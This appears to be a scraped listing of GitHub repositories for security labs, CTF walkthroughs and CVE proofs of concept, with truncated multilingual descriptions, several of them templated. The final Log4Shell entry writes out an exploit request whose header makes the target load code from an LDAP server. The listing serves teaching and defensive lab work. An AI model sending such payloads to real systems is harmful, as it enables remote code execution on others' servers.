CVE-2025-1974

cve-2025-1974-win11-attack-defense-lab Repository didattico pensato principalmente per Windows 11 per lo studio di CVE-2025-1974 in un laboratorio ATTACK + DEFENSE sicuro e non weaponizzato. Il progetto è progettato per corsi universitari, demo di gruppo e screenshot pronti per i report. Enfatizz...

Exfiltrated-Machine-Walkthrough---Subrion-CMS-CVE-2021-2220-

Exfiltrated Maschinen-Walkthrough - Subrion CMS-CVE-2021-2220- Siehe Exfiltrated.pdf Labor: https://portal.offsec.com/machine/exfiltrated-17398/overview/details Labor-Name: Exfiltrated Flags: 2...

Zero-Day-Legacy

🎓 Abschlussprojekt — Ajloun National University ANU Fakultät für IT · Cybersicherheit und Cloud Computing · Studienjahr 2026 🏆 Höchste Note der Universität: 97% 📖 Überblick Zero-Day Legacy ist eine realistische, absichtlich verwundbare Boot-to-Root CTF Capture The Flag Labor-Maschine, die als...

lab-cve-2023-4863

CVE-2023-4863 — Laboratório de exploração de libwebp Reprodução do CVE-2023-4863 heap buffer overflow no libwebp em um ambiente Docker completamente isolado e automatizado. Baseado na prática do módulo de Hacking Ético da CEFIRE. O que este lab faz Sobe oito containers em rede privada:...

LAB-DFIR-cve-2023-38831

LAB-DFIR-cve-2023-38831 Questo lab simula un attacco CVE-2023–38831 e richiede di investigare sull'immagine del disco; contiene inoltre una serie di domande tra cui la comprensione del registro di Windows, dei file NTFS, della cache del browser e una comprensione completa delle funzioni che...

CVE-2025-48595

cve-id ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Configurazione di esempio: root@kitploit: git clone cd Utilizzo di esempio:...

SVPT_CW_2

CVE-2024-21413 https://github.com/KartheekKandalam99/SVPTCW2 CVE-2024-21413 Configurazione per CW TRYHACKME ha fornito una stanza per lavorare su questa vulnerabilità. Di seguito il link per accedere alla stanza https://tryhackme.com/r/room/monikerlink Per accedere alla stanza tramite RDP dobbiam...

lab-cve-2025-24813

Questo repository non contiene un README...

CVE-2019-15588

CVE-2019-15588 CVE-2019-15588 Übungsplatz: RCE-Befehlsinjektionsschwachstelle Zusammengeführt in https://github.com/lyy289065406/CVE-2019-5475...

CVE-2026-6875

CVE-2026-6875 ⚡ Uso Simples Use este projeto apenas em ambientes seguros e autorizados, como: Máquinas virtuais locais Contêineres Docker Ambientes de laboratório isolados Ambientes de teste de penetração autorizados Exemplo de configuração: root@kitploit: git clone cd Project use python follow...

CVE-2024-34312

CVE-2024-34312 Descrizione È stato scoperto che Virtual Programming Lab for Moodle fino alla v4.2.3 contiene una vulnerabilità Cross-Site Scripting XSS tramite il suo componente IDE. Dettagli aggiuntivi Il browser si connette direttamente a un websocket in esecuzione sul server jail. Attraverso i...

dod-blue-team-network-lab

DoD Blue Team Network Security & Hardening Lab Riepilogo Esecutivo Laboratorio di sicurezza difensiva ad alta fedeltà che simula una rete aziendale allineata al DoD. Questo progetto dimostra segmentazione di rete strutturata, hardening dei sistemi, ingestione centralizzata di telemetria, ingegner...

Labs

Labs Faraday Labs ricerca sulla sicurezza informatica...

fastjson-rce-lab

Fastjson 1.2.83 RCE — Ambiente di laboratorio CVE-2026-16723 Disclaimer: questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza, alla dimostrazione didattica e al miglioramento delle difese in ambienti autorizzati. Testare obiettivi non autorizzati può essere illegale; ogni...

CVE-2026-42530

cve-id ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd Project use python...

log4shell-docker-lab

Laboratorio Docker Log4Shell per CVE-2021-44228 I componenti Questo laboratorio docker utilizza tre componenti, ovvero: L'applicazione spring-boot vulnerabile Un server HTTP che ospita i file .class utilizzati per l'esecuzione remota del codice Un server di referral LDAP che reindirizza specifich...

EP4-redes

POC CVE-2018-15473 exploit Adaptiert von https://github.com/Rhynorater/CVE-2018-15473-Exploit Um diesen Exploit auszuführen, müssen folgende Komponenten installiert sein: docker docker compose SSH-Server Wir beginnen damit, ein Image von DockerHub zu ziehen, das eine alte Version 6.6 von SSH auf...

CVE-2026-60121-CVE-2026-61498

cve-id ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Configurazione di esempio: root@kitploit: git clone cd Project use python...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 POC e configurazione del lab Crea il server da zero root@kitploit: npm create [email protected] react2shell-lab Accettare le impostazioni predefinite va bene, dagli il nome che preferisci OPPURE Clona il repository root@kitploit: git clone...

log4shell_lab

Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...